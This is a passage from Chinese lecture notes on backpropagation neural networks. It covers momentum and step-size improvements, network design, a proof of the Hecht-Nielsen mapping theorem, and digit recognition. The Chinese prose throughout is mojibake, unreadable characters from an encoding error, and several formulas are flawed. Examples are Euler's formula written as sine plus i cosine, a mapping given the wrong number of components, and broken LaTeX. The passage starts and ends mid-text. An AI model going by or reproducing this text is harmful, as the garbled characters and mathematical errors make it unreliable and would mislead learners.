ๆ˜ฏไธ€ไธชๅ…ทๆœ‰ๆžๅ…ถๅคๆ‚ๅฝข็Šถ็š„ๆ›ฒ้ขใ€‚ๅฆ‚ๆžœๅœจ่€ƒ่™‘ๆ ทๆœฌ๏ผŒๅ…ถๅฝข็Šถๅฐฑๆ›ดไธบๅคๆ‚๏ผŒ้šพไบŽๆƒณ่ฑกใ€‚ไปŽๅฎž่ทตๅ’Œ็†่ฎบไธŠ๏ผŒไบบไปฌๅพ—ๅ‡บไบ†ไธ‹้ขไธ‰ไธชๆ€ง่ดจ๏ผš\n\n 1. **ๅนณๆป‘ๅŒบๅŸŸ**\n\n ![](https://i.loli.net/2018/11/01/5bda9b71b0e08.png)\n $$\n \\delta^\\mu_l = (t^\\mu_l-y^\\mu_l)y^\\mu(1-y^\\mu_l)\n $$\n\n ๅนฟไน‰่ฏฏๅทฎ $\\neq$ ่ฏฏๅทฎ\n\n 2. **ๅ…จๅฑ€ๆœ€ไผ˜่งฃ $\\mathbf{W}^*$ ไธๅ”ฏไธ€**\n\n $\\mathbf{W}^*$ ไธญ็š„ๆŸไบ›ๅ…ƒ็ด ่ฟ›่กŒ็ฝฎๆขไพ็„ถๆ˜ฏๅ…จๅฑ€ๆœ€ไผ˜่งฃ๏ผŒ่ฟ™ไปŽไธ‹้ข็š„็ฎ€ๅ•ๆจกๅž‹ๅฏไปฅ็œ‹ๅ‡บใ€‚\n\n ![](https://i.loli.net/2018/11/01/5bda9c735bdff.png)\n\n 3. **ๅฑ€้ƒจๆžๅฐ**\n\n ไธ€่ˆฌๆƒ…ๅ†ตไธ‹๏ผŒBP็ฎ—ๆณ•ไผšๆ”ถๆ•›ๅˆฐไธ€ไธชๅฑ€้ƒจๆžๅฐ่งฃ๏ผŒๅณ\n $$\n \\mathbf{W}(n_0) \\rightarrow \\mathbf{W}^0\n $$\n ๅฝ“ $E(\\mathbf{W}^0)<\\epsilon$๏ผŒ็ฎ—ๆณ•ไปฅๅธŒๆœ›่ฏฏๅทฎๆ”ถๆ•›;\n ๅฝ“ $E(\\mathbf{W}^0)\\geq\\epsilon$๏ผŒ็ฎ—ๆณ•ไธไปฅๅธŒๆœ›่ฏฏๅทฎๆ”ถๆ•›๏ผŒไฝ†ๅฏๆŒ‰ ๆขฏๅบฆ็ปๅฏนๅ€ผๅฐไบŽ้ข„ๅฎšๅ€ผ็ป“ๆŸใ€‚\n\n#### 4. ็ฎ—ๆณ•็š„ๆ”น่ฟ›\n\n - ๅ˜ๆญฅ้•ฟ็ฎ—ๆณ•( $\\eta$ ๆ˜ฏ็”ฑไธ€็ปดๆœ็ดขๆฑ‚ๅพ—)\n\n Step 1. ่ต‹ไบˆๅˆๅง‹ๆƒๅ€ผ $\\mathbf{W}(0)$ ๅ’Œๅ…่ฎธ่ฏฏๅทฎ $\\epsilon>0$ ;\n Step 2. ๅœจๆ—ถๅˆป $n_0$๏ผŒ่ฎก็ฎ—่ฏฏๅทฎ $E(\\mathbf{W}(n_0))$ ็š„่ดŸๆขฏๅบฆ (ๆ–นๅ‘)๏ผš\n $$\n d^{(n_0)} = -\\nabla E(\\mathbf{W})|_{\\mathbf{W}=\\mathbf{W}(n_0)}\n $$\n Step3. ่‹ฅ $||d^{(n_0)}||$๏ผŒ็ป“ๆŸ๏ผ›ๅฆๅˆ™ไปŽ $\\mathbf{W(n_0)}$ ๅ‡บๅ‘๏ผŒๆฒฟ $d^{(n_0)}$ ๅšไธ€็ปดๆœ็ดข๏ผŒๆฑ‚ๅ‡บๆœ€ไผ˜ๆญฅ้•ฟ $\\eta(n_0)$๏ผš\n $$\n \\eta(n_0) = \\arg \\min_\\eta E(\\mathbf{W}(n_0)+\\eta d^{(n_0)})\n $$\n Step4. $\\mathbf{W}(n_0+1) = \\mathbf{W}(n_0)+\\eta(n_0)d^{(n_0)}$๏ผŒ่ฝฌStep2ใ€‚\n\n ๆญฅ้•ฟ(ๅญฆไน ็Ž‡) $\\eta(n_0)$ ็š„็กฎๅฎšๆ–นๆณ•๏ผš\n (a) ๆฑ‚ๆœ€ไผ˜่งฃ๏ผšๅฏน $\\eta$ ๆฑ‚ๅฏผๆ•ฐ๏ผŒๅนถไปคๅ…ถไธบ้›ถ๏ผŒ็›ดๆŽฅๆฑ‚่งฃ๏ผš\n $$\n \\frac{\\partial E(\\mathbf{W}(n_0)+\\eta d^{(n_0)})}{\\partial \\eta} = 0\n $$\n (b) ่ฟญไปฃไฟฎๆญฃๆณ•๏ผšไปค $\\Delta E = E(\\mathbf{W}(n_0)+\\eta d^{(n_0)})-E(\\mathbf{W}(n_0))$\n $$\n \\eta^{new}=\n \\begin{cases}\n \\eta^{old}\\psi& \\text{ if } \\Delta E<0 \\\\ \n \\eta^{old}\\beta& \\text{ if } \\Delta E>0 \n \\end{cases}\n $$\n ๅ…ถไธญ $\\psi=1+\\delta, \\beta=1-\\delta, \\delta >0$ .\n\n - ๅŠ ๅŠจ้‡้กน\n\n ไธบไบ†้˜ฒๆญข้œ‡่กๅนถๅŠ ้€Ÿๆ”ถๆ•›๏ผŒๅฏ้‡‡็”จไธ‹่ฟฐ่ง„ๅˆ™๏ผš\n $$\n \\begin{align}\n \\mathbf{W}(n_0+1) \n &= \\mathbf{W}(n_0)+\\eta(n_0)d^{(n_0)} + \\alpha\\Delta\\mathbf{W}(n_0) \\\\\n &= \\mathbf{W}(n_0)+\\eta(n_0)(d^{(n_0)} +\\frac{\\alpha\\eta(n_0-1)}{\\eta(n_0)}d^{(n_0-1)})\n \\end{align}\n $$\n ๅ…ถไธญ๏ผŒ$\\alpha\\Delta\\mathbf{W}(n_0)$ ไธบๅŠจ้‡้กน. $( \\Delta\\mathbf{W}(n_0)=\\mathbf{W}(n_0)-\\mathbf(n_0-1),0<\\alpha<1 )$\n\n ๆณจๆ„: ไธŠๅผ็ฑปไผผไบŽๅ…ฑ่ฝญๆขฏๅบฆๆณ•็š„็ฎ—ๅผ๏ผŒไฝ†ๆ˜ฏ่ฟ™้‡Œ $d^{(n_0)},d^{(n_0-1)}$ ไธๅ…ฑ่ฝญใ€‚ๅ› ๆญคๅฏ่ƒฝๅ‡บ็Žฐ่ฏฏๅทฎๅขžๅŠ ็š„็Žฐ่ฑก๏ผŒๅณ $\\Delta E>0$๏ผŒ่ฟ™ๆ—ถๅฏไปค $\\alpha=0$๏ผŒๅณ้€€ๅ›žๅˆฐๅŽŸๆฅ็š„ๆขฏๅบฆ็ฎ—ๆณ•ใ€‚\n\n - ๅŠ ๅ…ฅ $\\gamma$ ๅ› ๅญ\n\n ๅฝ“็ฎ—ๆณ•่ฟ›ๅ…ฅๅนณๅฆๅŒบ๏ผŒๅณ $(1-y^\\mu_l)y^\\mu_l\\approx 0$๏ผŒๅˆ™ $|u''^\\mu_l|\\rightarrow +\\infty$ใ€‚ไธบไบ†ๆถˆ้™คๆˆ–ๅ‡ๅผฑ่ฟ™็ง็Žฐ่ฑก๏ผŒๅผ•ๅ…ฅ $\\gamma$ ๅ› ๅญ๏ผŒไฝฟๅพ—:\n $$\n y^\\mu_l = \\frac{1}{1+\\exp(-u''^\\mu_l)}, \\\\\n u''^\\mu_l = \\sum^{n_2}_{k=0}w''_{lk}x''^\\mu_k/\\gamma^\\mu_l, \\gamma^\\mu_l>1.\n $$\n\n - ๆจกๆ‹Ÿ้€€ๅŒ–ๆ–นๆณ•\n\n ๅœจๆ‰€ๆœ‰ๆƒไธŠๅŠ ไธ€ไธชๅ™ชๅฃฐ๏ผŒๆ”นๅ˜่ฏฏๅทฎๆ›ฒ้ข็š„ๅฝข็Šถ๏ผŒ ไฝฟ็”จๆจกๆ‹Ÿ้€€็ซ็š„ๆœบๅˆถ๏ผŒไฝฟ็ฎ—ๆณ•้€ƒ็ฆปๅฑ€้ƒจๆžๅฐ็‚น๏ผŒ่พพๅˆฐๅ…จๅฑ€ๆœ€ไผ˜่€Œ็ป“ๆŸใ€‚\n\n#### 5. BP ็ฝ‘็ปœ็š„่ฎพ่ฎก\n\n - ่พ“ๅ…ฅ่พ“ๅ‡บๅฑ‚็š„่ฎพ่ฎก\n\n BP็ฝ‘็ปœ่พ“ๅ…ฅใ€่พ“ๅ‡บๅฑ‚ๅ•ๅ…ƒไธชๆ•ฐๆ˜ฏๅฎŒๅ…จๆ นๆฎๅฎž้™…้—ฎ้ข˜ๆฅ่ฎพ่ฎก็š„๏ผŒๆˆ‘ไปฌๅˆ†ไธ‰็งๆƒ…ๅ†ต่ฎจ่ฎบ๏ผš\n\n 1. ็ณป็ปŸ่ฏ†ๅˆซ\n $$\n y=F(X):\\mathbb{R}^n\\rightarrow\\mathbb{R}^m\n $$\n ่ฟ™ๆ—ถ่พ“ๅ…ฅๅ•ๅ…ƒไธชๆ•ฐไธบ $n$๏ผ›่พ“ๅ‡บๅ•ๅ…ƒไธชๆ•ฐไธบ $m$ใ€‚\n\n 2. ๅˆ†็ฑป้—ฎ้ข˜\n $$\n S = \\{(x^1,t^1), (x^2,t^2), \\cdots, (x^N,t^N)\\}, t^i\\in\\{C^1,C^2,\\cdots,C^m\\}\n $$\n \n (a). ่‹ฅ $t^i\\leftrightarrow C^j$๏ผŒๅˆ™ไปค $t^i=\\lambda j(\\lambda>0)$๏ผŒ่ฟ™ๆ ท่พ“ๅ‡บๅฑ‚ไป…้œ€่ฆไธ€ไธชๅ•ๅ…ƒใ€‚ \n (b). ่‹ฅ $t^i\\leftrightarrow C^j$๏ผŒๅˆ™ไปค: $t^i=(0,\\cdots,0,1,0,\\cdots,0)^T$ (็ฌฌ $j$ ไธชๅˆ†้‡ไธบ 1๏ผŒๅ…ถไฝ™ๅˆ†้‡ไธบ 0)\n ่ฟ™ๆ ท่พ“ๅ‡บๅฑ‚ๅˆ™้œ€่ฆ $m$ ไธชๅ•ๅ…ƒใ€‚ \n (c). ไบŒ่ฟ›ๅˆถ็ผ–็ ๆ–นๆณ•\n ๅฏน $C^1,C^2 ,\\cdots,C^m$ ่ฟ›่กŒไบŒ่ฟ›ๅˆถ็ผ–็ ๏ผŒ็ผ–็ ไฝๆ•ฐไธบ $\\log_2m$๏ผŒ่ฟ™ๆ ท่พ“ๅ‡บๅฑ‚ไป…้œ€ $\\log_2m$ ไธชๅ•ๅ…ƒใ€‚\n \n\n - ้šๅ•ๅ…ƒๆ•ฐไธŽๆ˜ ๅฐ„ๅฎš็†\n\n 1989ๅนด๏ผŒR. Hecht-Nielson่ฏๆ˜Žไบ†ไปปไฝ•ไธ€ไธช้—ญๅŒบ ้—ดๅ†…็š„่ฟž็ปญๅ‡ฝๆ•ฐ้ƒฝๅฏไปฅ็”จไธ€ไธชไธ‰ๅฑ‚(ไป…ๆœ‰ไธ€ไธช้šๅฑ‚)BP็ฝ‘็ปœๆฅ้€ผ่ฟ‘(ไปปๆ„็ป™ๅฎš็ฒพๅบฆ)ใ€‚\n\n **ๅผ•็†2.1** ไปปๆ„็ป™ๅฎšไธ€ไธช่ฟž็ปญๅ‡ฝๆ•ฐ $g\\in C(a,b)$ ๅŠ็ฒพๅบฆ $\\epsilon>0$๏ผŒๅฟ…ๅญ˜ๅœจไธ€ไธชๅคš้กนๅผ $p(x)$๏ผŒไฝฟๅพ—ไธ็ญ‰ๅผ $|g(x)-p(x)|<\\epsilon$ ๅฏนไปปๆ„ $x\\in [a,b]$ ๆˆ็ซ‹ใ€‚\n\n **ๅผ•็†2.2** ไปปๆ„็ป™ๅฎšไธ€ไธชๅ‘จๆœŸไธบ $2\\pi$ ็š„่ฟž็ปญๅ‡ฝๆ•ฐ $g\\in C_{2\\pi}$ ๅŠ็ฒพๅบฆ $\\epsilon>0$๏ผŒๅฟ…ๅญ˜ๅœจไธ€ไธชไธ‰่ง’ๅ‡ฝๆ•ฐๅคš้กนๅผ $T(x)$๏ผŒไฝฟๅพ— $|g(x)-T(x)|<\\epsilon$ ๅฏนไบŽ$\\forall x\\in \\mathbb{R}$ ๆˆ็ซ‹ใ€‚\n\n ๅœจ $n$ ็ปด็ฉบ้—ดไธญ๏ผŒไปปไธ€ๅ‘้‡ $x$ ้ƒฝๅฏ่กจ็คบไธบ\n $$\n x = c_1e_1+c_2e_2+\\cdots+c_ne_n\n $$\n ๅ…ถไธญ $\\{e_1,e_2,cdots,e_n\\}$ ไธบ $\\mathbb{R}^n$ ็š„ไธ€ไธชๆญฃไบคๅŸบใ€‚ๅŒๆ ท่€ƒ่™‘่ฟž็ปญๅ‡ฝๆ•ฐ็ฉบ้—ด $c[a,b]$ ๆˆ– $c_{2\\pi}$๏ผŒๅฟ…็„ถๅญ˜ๅœจไธ€็ป„ๆญฃไบคๅ‡ฝๆ•ฐๅบๅˆ— $\\{\\psi_k(x)^\\infty_{k=1}\\}$๏ผŒ้‚ฃไนˆๅฏน $\\forall g(x)\\in c[a,b]$, ๅˆ™\n $$\n g(x) = \\sum^\\infty_{k=1}c_k\\psi_k(x) = \\sum^N_{k=1}c_k\\psi_k(x)+\\epsilon_N(x)\n $$\n ๆˆ–ๅฏน $\\forall g_F(x)\\in c_{2\\pi}$๏ผŒๅˆ™ๆœ‰\n $$\n g(x) = \\sum_{k}c_ke^{2\\pi i kx} = \\sum^{+\\infty}_{k=-\\infty}c_ke^{2\\pi ikx} = \\sum^{N}_{k=-N}c_ke^{2\\pi ikx}+\\epsilon_N(x)\n $$\n ๅ…ถไธญ $c_k=\\int g(x)e^{-2\\pi ikx}dx$ ไธบๅ‚…้‡Œๅถ็ณปๆ•ฐใ€‚\n\n ๅฝ“ $N$ ๅ……ๅˆ†ๅคงๆ—ถ๏ผŒๅฏนๆฏไธช $x$ ๆˆ็ซ‹:\n $$\n \\begin{align}\n g^N_F(x) &= \\sum^N_{k=-N}c_ke^{2\\pi ikx} \\\\\n |g_F(x) &- g^N_F(x)| < \\epsilon (>0)\n \\end{align}\n $$\n\n ่ฟ›ไธ€ๆญฅ่€ƒ่™‘ $c([0,1]^n)$ ไธญ็š„ๅคšๅ…ƒ่ฟž็ปญๅ‡ฝๆ•ฐ๏ผš\n\n $$\n g(x) : [0,1]^n \\rightarrow \\mathbb{R}, g(x) \\in c([0,1]^n)\n $$\n\n ๆ นๆฎๅ‚…้‡Œๅถ็บงๆ•ฐๅฑ•ๅผ€็†่ฎบ๏ผŒ่‹ฅ\n\n $$\n \\int_{[0,1]^n}|g(x)|dx_1\\cdots dx_n < \\infty\n $$\n\n ๅˆ™ๅŒๆ ทๅญ˜ๅœจไธ€ไธช $N$ ๆญฅๅ‚…้‡Œๅถ็บงๆ•ฐๅ’Œๅ‡ฝๆ•ฐ๏ผš\n\n $$\n g_F(x,N,g) = \\sum^N_{k_1=-N}\\cdots\\sum^N_{k_n=-N}c_{k_1\\cdots k_n}e^{2\\pi i\\sum^n_{j=1}k_ix_i} = \\sum^{(N,\\cdots,N)}_{K=(-N,\\cdots,-N)} c_{k_1\\cdots k_n}e^{2\\pi iK^Tx}\n $$\n\n ๅ…ถไธญ็ณปๆ•ฐไธบ๏ผš$c_{k_1\\cdots k_n} = \\int_{[0,1]^n} g(x) e^{-2\\pi iK^Tx}dx$๏ผŒๅนถไธ”ๅฝ“ $N\\rightarrow\\infty$ ๆ—ถ๏ผŒๆปก่ถณ\n\n $$\n g_F(x,N,g)\\rightarrow g(x)\n $$\n\n ๅณ $g_F(x,\\infty,g)$ ๅœจ $[0,1]^n$ ๅฏไปฅๅฎŒๅ…จๆ”ถๆ•›่พพๅˆฐ $g(x)$ใ€‚\n\n ็Žฐๅœจ่€ƒ่™‘ๅฏนไธ€ไธชไปปๆ„่ฟž็ปญๆ˜ ๅฐ„: $h(x):[0,1]^n\\rightarrow \\mathbb{R}^m$๏ผŒๅ…ถไธญ $h(x)=[h_1(x),\\cdots,h_n(x)], h_j(x)\\in c([0,1]^n)$๏ผŒๅˆ™ $h(x)$ ็š„ๆฏไธชๅˆ†้‡ไนŸ้ƒฝๅฏไปฅ็”จไธŠ้ข็š„ๅ‚…็ซ‹ๅถ็บงๆ•ฐ่กจ็คบ๏ผŒไพๆญคๅฐฑๅฏไปฅๅพ—ๅˆฐไธ‹้ข็š„ๅฝฑๅฐ„ๅฎš็†(ๅฎš็†ไธญๆ‰€่€ƒ่™‘็š„ไธ‰ๅฑ‚็ฝ‘็ปœ่พ“ๅ‡บๅ•ๅ…ƒไธบ็บฟๆ€งๅ•ๅ…ƒ)ใ€‚\n\n > **ๆ˜ ๅฐ„ๅฎš็†(Hecht-Nielsen)**๏ผš็ป™ๅฎšไปปๆ„็ฒพๅบฆ $\\epsilon>0$๏ผŒๅฏนไบŽไธ€ไธช่ฟž็ปญๅฝฑๅฐ„ $h(x):[0,1]^n\\rightarrow\\mathbb{R}^m$๏ผŒๅ…ถไธญ: \n > $$\n > \\int_{[0,1]^n} ||h(x)||dx_1\\cdots dx_n<\\infty\n > $$\n > ้‚ฃไนˆ๏ผŒๅฟ…ๅญ˜ๅœจไธ€ไธชไธ‰ๅฑ‚BP็ฅž็ป็ฝ‘็ปœๆฅ้€ผ่ฟ‘ๅ‡ฝๆ•ฐ๏ผŒไฝฟๅพ—ๅœจๆฏ็‚นไธŠ็š„่ฏฏๅทฎไธ่ถ…่ฟ‡ $\\epsilon$ใ€‚\n >\n\n **่ฏๆ˜Ž**๏ผš็”ฑไบŽ่พ“ๅ‡บๅ•ๅ…ƒๆ˜ฏ็‹ฌ็ซ‹็š„๏ผŒๅˆ†ๅˆซไธŽ $h(x)$ ็š„ๆฏไธชๅˆ†้‡ๅ‡ฝๆ•ฐ็›ธๅฏนๅบ”๏ผŒๆˆ‘ไปฌไป…้œ€่ฆ ๅฏนๅ•ไธช่พ“ๅ‡บๅ•ๅ…ƒๅ’Œๅˆ†้‡ๅ‡ฝๆ•ฐๆฅ่ฏๆ˜Žใ€‚\n\n ![](https://i.loli.net/2018/11/12/5be921841583c.png)\n\n ๆ นๆฎๅ‚…็ซ‹ๅถ็บงๆ•ฐ็†่ฎบ๏ผŒๅฏนไบŽ $h(x)$ ็š„ๅˆ†้‡ $h_j (x)$๏ผŒๅˆ™\n\n $$\n |h_j(x)-g_F(x,N,h_j)|<\\delta_1(>0), \\forall x\\in[0,1]^n\n $$\n\n ๅ…ถไธญ $g_F(x,N,h_j)$ ๆ˜ฏ $h_j(x)$ ็š„ $N$ ๆญฅๅ‚…็ซ‹ๅถ็บงๆ•ฐๅ’Œๅ‡ฝๆ•ฐ:\n\n $$\n g_F(x,N,h_j) = \\sum^{(N,\\cdots,N)}_{K=(-N,\\cdots,-N)}c_{k_1,k_2,\\cdots,k_n}e^{2\\pi iK^Tx}, c_{k_1\\cdots k_n} = \\int_{[0,1]^n} h_j(x) e^{-2\\pi iK^Tx}dx\n $$\n\n ไธ‹้ข่ฏๆ˜Žๅ‚…็ซ‹ๅถ็บงๆ•ฐไธญไปปๆ„ไธ‰่ง’ๅ‡ฝๆ•ฐๅฏไปฅ็”จไธ‰ๅฑ‚ BP ๅญ็ฝ‘็ปœๆฅ้€ผ่ฟ‘๏ผŒ้‚ฃไนˆ้€š่ฟ‡ๅ‚…็ซ‹ๅถ็บงๆ•ฐ็š„็บฟๆ€ง็ป„ๅˆๅฐฑๅฏไปฅไฟ่ฏ็”จไธ‰ๅฑ‚BP็ฝ‘็ปœๆฅ้€ผ่ฟ‘ๅ‡ฝ $h_j(x)$ใ€‚\n\n ่€ƒ่™‘็ป“ๆž„ไธบ $n-n_1-1$ ็š„ไธ‰ๅฑ‚BP็ฝ‘็ปœ๏ผŒๅ…ถ่พ“ๅ‡บไธบ:\n\n $$\n y=\\sum^{n_1}_{j=1}w_jf(\\sum^n_{k=1}w_{jk}x_k-\\theta_j)\n $$\n\n ๆˆ‘ไปฌๆฅ่ฏๆ˜Ž่พ“ๅ‡บๅ‡ฝๆ•ฐ $y$ ่ƒฝๅคŸ้€ผ่ฟ‘ไปปไฝ•ไธ‰่ง’ๅ‡ฝๆ•ฐ: ไปค $\\sin(2\\pi K^Tx)=\\sin(u)$ $2\\pi K^Tx=2\\pi\\sum^n_{l=1}k_lx_l\\in[d,e]$, $\\sum^{n_1}_{k=1}w_{jk}x_k -\\theta_j = u'_j-\\theta_j = \\beta_j(u - \\alpha_j)$\n\n ่€ƒ่™‘ๅ‡ฝๆ•ฐ $f(\\beta_j(u-\\alpha_j))$๏ผŒๅฝ“ $\\beta_j\\rightarrow+\\infty$๏ผŒ่ถ‹ๅ‘ไบŽๅ•ไฝ้˜ถ่ทƒๅ‡ฝๆ•ฐ(่งไธ‹ๅ›พ)๏ผŒๅˆ™\n\n $$\n S = (\\alpha,\\beta,\\mathbb{W},u) = \\sum^{n_1}_{j=1}w_jf(\\beta_j(u-\\alpha_j))\n $$\n\n ไธบไธ€ไบ›่ฟ‘ไผผๅ•ไฝ้˜ถ่ทƒๅ‡ฝๆ•ฐ็š„็บฟๆ€งๅ ๅŠ ๏ผŒๆ•…ๅฝ“ $n_1$ ๅ……ๅˆ†ๅคงๆ—ถ๏ผŒๆˆ‘ไปฌๅฏๅฐ†ๅŒบ้—ด $[d,e]$ ๅ……ๅˆ†็š„็ป†ๅˆ†๏ผŒ้€‰ๅ– $\\alpha_j$ ๅ’Œ $\\beta_j$๏ผŒไฝฟๅพ— $|S(\\alpha,\\beta,\\mathbb{W},u) - \\sin(u)|<\\delta_2(>0)$๏ผŒๆˆ–\n\n $$\n |\\sum^{n_1}_{j=1}w_jf(\\sum^n_{k=1}w_{jk}x_k-\\theta)j - \\sin(2\\pi K^Tx)| < \\delta_2\n $$\n\n ๅณๅพ—๏ผš\n\n $$\n \\sum^{n_1}_{j=1}w_jf(\\sum^n_{k=1}w_{jk}x_k-\\theta)j \\approx \\sin(2\\pi K^Tx)\n $$\n\n ๅฏนไบŽ $h_j(x)$๏ผŒๆˆ‘ไปฌๆœ‰ไธ‹้ข็š„ๅฑ•ๅผ€๏ผš\n\n $$\n \\begin{align}\n h_j(x) \n &\\approx g_F(x,N,h_j) = \\sum^{(N,\\dots,N)}_{K=(-N,\\cdots,-N)}c_Ke^{2\\pi iK^Tx} \\\\\n &= \\sum^{(N,\\dots,N)}_{K=(-N,\\cdots,-N)} c_K (\\sin(2\\pi K^T x) +i\\cos(2\\pi K^Tx)) \\\\\n &= \\sum^{(N,\\dots,N)}_{K=(-N,\\cdots,-N)} a_K \\sin(2\\pi K^Tx) + b_K \\cos(2\\pi K^Tx) + i \\sum^{(N,\\dots,N)}_{K=(-N,\\cdots,-N)} a'_K\\sin(2\\pi K^Tx)+ b'_K\\cos(2\\pi K^Tx)\n \\end{align}\n $$\n\n ไฝฟ็”จๅ……ๅˆ†ๅคš็š„้šๅ•ๅ…ƒ๏ผŒๅฏๅพ—\n\n $$\n y(x) = \\sum^{(N,\\dots,N)}_{K=(-N,\\cdots,-N)} a_K S(\\alpha_K,\\beta_K,\\mathbb{W}_K,u_K) + b_K S(\\alpha'_K,\\beta'_K,\\mathbb{W}'_K,u_K) \n $$\n\n ไปค $h_F(x) = \\sum^{(N,\\dots,N)}_{K=(-N,\\cdots,-N)} a_K \\sin(2\\pi K^Tx) + b_K \\cos(2\\pi K^Tx) $\n\n $$\n \\begin{align}\n |h_j(x) - y(x)| \n &= |h_j(x) - h_F(x)+h_F(x) - y(x)| \\\\\n &\\leq |h_j(x)-h_F(x)| + |h_F(x) -y(x)| \\\\\n &\\leq |h_j(x)-h_F(x)| + \\\\\n &|\\sum^{(N,\\dots,N)}_{K=(-N,\\cdots,-N)} a_K (\\sin(u_K) - S(\\alpha_K,\\beta_K,\\mathbb{W}_K,u_K) ) + b_K (\\cos(u_K) - S(\\alpha'_K,\\beta'_K,\\mathbb{W}'_K,u_K)) | \\\\\n &\\leq \\delta_1 +\\delta_2 \\sum^{(N,\\dots,N)}_{K=(-N,\\cdots,-N)} |a_K|+|b_K| \\leq \\epsilon , (\\forall x\\in [0,1]^n)\n \\end{align}\n $$\n \n ่ฏๆฏ•ใ€‚\n\n - ้šๅ•ๅ…ƒๆ•ฐ็š„้€‰ๆ‹ฉ\n \n ้šๅ•ๅ…ƒๆ•ฐ๏ผšๅฐ๏ผŒ็ป“ๆž„็ฎ€ๅ•๏ผŒ้€ผ่ฟ‘่ƒฝๅŠ›ๅทฎ๏ผŒไธๆ”ถๆ•›๏ผ›ๅคง๏ผŒ็ป“ๆž„ๅคๆ‚๏ผŒ้€ผ่ฟ‘่ƒฝๅŠ›ๅผบ๏ผŒๆ”ถๆ•›ๆ…ขใ€‚\n ๅฏนไบŽ็”จไฝœๅˆ†็ฑป็š„ไธ‰ๅฑ‚BP็ฝ‘็ปœ๏ผŒๅฏๅ‚็…งๅคšๅฑ‚ๆ„Ÿ็Ÿฅๆœบ็ฝ‘็ปœ็š„ๆƒ…ๅ†ต๏ผŒๅพ—ๅˆฐไธ‹้ข่ฎพ่ฎกๆ–นๆณ•๏ผš\n \n (a). \n\n $$\n N < \\sum^n_{i=0}\\binom{n_1}{i}, (i>n_1,\\binom{n_1}{i}=0)\n $$\n ๅ…ถไธญ $N$ ไธบๆ ทๆœฌไธชๆ•ฐ๏ผŒ้€‰ๅ–ๆปก่ถณไธŠๅผๆœ€ๅฐ็š„ $n_1$.\n \n (b). $n_1=\\sqrt{n+m}+a$ $a\\in\\{1,2,\\cdots,10\\}$ $n_1=\\log_2n$\n\n - ็ฝ‘็ปœๅ‚ๆ•ฐๅˆๅง‹ๅ€ผ็š„้€‰ๅ–\n \n ๅˆ่ฏ•ๆƒ๏ผš้šๆœบ๏ผŒๆฏ”่พƒๅฐ(ๆŽฅ่ฟ‘ไบŽ0)๏ผŒไฟ่ฏ็Šถๆ€ๅ€ผ่พƒๅฐ๏ผŒไธๅœจๅนณๆป‘ๅŒบๅŸŸๅ†…ใ€‚\n\n\n\n#### 6. BP ็ฝ‘็ปœ็š„ๅบ”็”จ\n\n (i). ๆจกๅผ่ฏ†ๅˆซใ€ๅˆ†็ฑปใ€‚็”จไบŽ่ฏญ้Ÿณใ€ๆ–‡ๅญ—ใ€ๅ›พ่ฑก็š„ ่ฏ†ๅˆซ๏ผŒ็”จไบŽๅŒปๅญฆๅ›พ่ฑก็š„ๅˆ†็ฑปใ€่ฏŠๆ–ญ็ญ‰ใ€‚\n (ii). ๅ‡ฝๆ•ฐ้€ผ่ฟ‘ไธŽ็ณป็ปŸๅปบๆจกใ€‚็”จไบŽ้ž็บฟๆ€ง็ณป็ปŸ็š„ๅปบๆจก๏ผŒๆ‹Ÿๅˆ้ž็บฟๆ€งๆŽงๅˆถๆ›ฒ็บฟ๏ผŒๆœบๅ™จไบบ็š„่ฝจ่ฟนๆŽงๅˆถ๏ผŒ้‡‘่ž้ข„ๆต‹็ญ‰ใ€‚\n\n (iii). ๆ•ฐๆฎๅŽ‹็ผฉใ€‚ๅœจ้€šไฟกไธญ็š„็ผ–็ ๅŽ‹็ผฉๅ’Œๆขๅค๏ผŒๅ›พ่ฑกๆ•ฐๆฎ็š„ๅŽ‹็ผฉๅ’Œๅญ˜ๅ‚จๅŠๅ›พ่ฑก็‰นๅพ็š„ๆŠฝๅ–็ญ‰ใ€‚\n\n **ไพ‹1. ๆ‰‹ๅ†™ๆ•ฐๅญ—็š„่ฏ†ๅˆซ** \n\n ็”ฑไบŽๆ‰‹ๅ†™ๆ•ฐๅญ—ๅ˜ๅŒ–ๅพˆๅคง๏ผŒๆœ‰ไผ ็ปŸ็š„ ็ปŸ่ฎกๆจกๅผ่ฏ†ๅˆซๆˆ–ๅฅๆณ•่ฏ†ๅˆซๅพˆ้šพๅพ—ๅˆฐ้ซ˜็š„่ฏ†ๅˆซ็Ž‡๏ผŒBP็ฝ‘็ปœๅฏ้€š่ฟ‡ๅฏนๆ ทๆœฌ็š„ๅญฆไน ๅพ—ๅˆฐ่พƒ้ซ˜็š„ๅญฆไน ็Ž‡ใ€‚ไธบไบ†ๅ…‹ๆœๅญ—ไฝ“ๅคงๅฐไธๅŒ๏ผŒๆˆ‘ไปฌ้€‰ๅ–่ฟ™ไบ›ๆ•ฐๅญ—็š„ไธ€ไบ›็‰นๅพๅ€ผไฝœไธบ็ฝ‘็ปœ่พ“ๅ…ฅใ€‚(ๅฏๆๅ–)็‰นๅพๅฆ‚: \n\n - 1๏ผŒ2๏ผŒ3๏ผŒ7 :ๅ…ทๆœ‰ไธคไธช็ซฏ็‚น; \n\n - 0๏ผŒ6๏ผŒ8๏ผŒ9:ๅ…ทๆœ‰ๅœˆ; \n - 2: ไธคไธช็ซฏ็‚นๅ‰ๅŽ; \n\n ![](https://i.loli.net/2018/11/12/5be92d5128196.png)\n\n ๅฏนไบŽไธ€ไธชๆ ทๆœฌ๏ผŒ่‹ฅๅ…ทๆœ‰้‚ฃไธช็‰นๅพ๏ผŒๆ‰€ๅฏนๅบ”็š„็‰นๅพ่พ“ๅ…ฅๅ•ๅ…ƒๅ–ๅ€ผไธบ1๏ผŒๅฆๅˆ™ไธบ0ใ€‚ๆˆ‘ไปฌๅฏ้€‰ๆ‹ฉ34ไธช็‰นๅพ๏ผŒๅณ่พ“ๅ…ฅๅ•ๅ…ƒไธชๆ•ฐไธบ34ใ€‚่พ“ๅ‡บๅฏๅ–10ไธชๅ•ๅ…ƒ๏ผŒๅณ1ไธช่พ“ๅ‡บๅ•ๅ…ƒๅฏนๅบ”ไธ€ไธชๆ•ฐๅญ—(่ฏฅๅ•ๅ…ƒ่พ“ๅ‡บไธบ1๏ผŒๅ…ถๅฎƒไธบ0)ใ€‚ๅฆ‚ๆžœ้€‰ๅ–200ไธชไบบๆ‰€ๅ†™็š„1000ไธชๆ ทๆœฌ่ฟ›่กŒๅญฆไน ๏ผŒไฝฟ็”จไธ‰ๅฑ‚BP็ฝ‘็ปœ๏ผŒ้šๅฑ‚ๅ•ๅ…ƒๆ•ฐ $n_1$ 